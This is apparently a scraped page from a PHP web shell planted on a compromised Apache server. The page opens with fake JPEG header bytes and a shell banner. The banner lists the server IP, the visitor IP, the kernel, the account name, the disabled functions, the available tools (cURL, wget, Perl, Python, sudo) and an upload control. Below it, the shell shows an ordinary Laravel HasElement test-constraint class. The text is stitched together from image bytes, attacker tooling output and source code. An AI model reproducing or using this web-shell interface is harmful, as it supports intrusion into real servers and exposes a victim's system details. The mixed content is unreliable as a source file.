ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.188.70.134 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/laravel/framework/src/Illuminate/Foundation/Testing/Constraints/ |
Upload File : |
<?php namespace Illuminate\Foundation\Testing\Constraints; use Symfony\Component\DomCrawler\Crawler; class HasElement extends PageConstraint { /** * The name or ID of the element. * * @var string */ protected $selector; /** * The attributes the element should have. * * @var array */ protected $attributes; /** * Create a new constraint instance. * * @param string $selector * @param array $attributes * @return void */ public function __construct($selector, array $attributes = []) { $this->selector = $selector; $this->attributes = $attributes; } /** * Check if the element is found in the given crawler. * * @param \Symfony\Component\DomCrawler\Crawler|string $crawler * @return bool */ public function matches($crawler) { $elements = $this->crawler($crawler)->filter($this->selector); if ($elements->count() == 0) { return false; } if (empty($this->attributes)) { return true; } $elements = $elements->reduce(function ($element) { return $this->hasAttributes($element); }); return $elements->count() > 0; } /** * Determines if the given element has the attributes. * * @param \Symfony\Component\DomCrawler\Crawler $element * @return bool */ protected function hasAttributes(Crawler $element) { foreach ($this->attributes as $name => $value) { if (is_numeric($name)) { if ($element->attr($value) === null) { return false; } } else { if ($element->attr($name) != $value) { return false; } } } return true; } /** * Returns a string representation of the object. * * @return string */ public function toString() { $message = "the element [{$this->selector}]"; if (! empty($this->attributes)) { $message .= ' with the attributes '.json_encode($this->attributes); } return $message; } }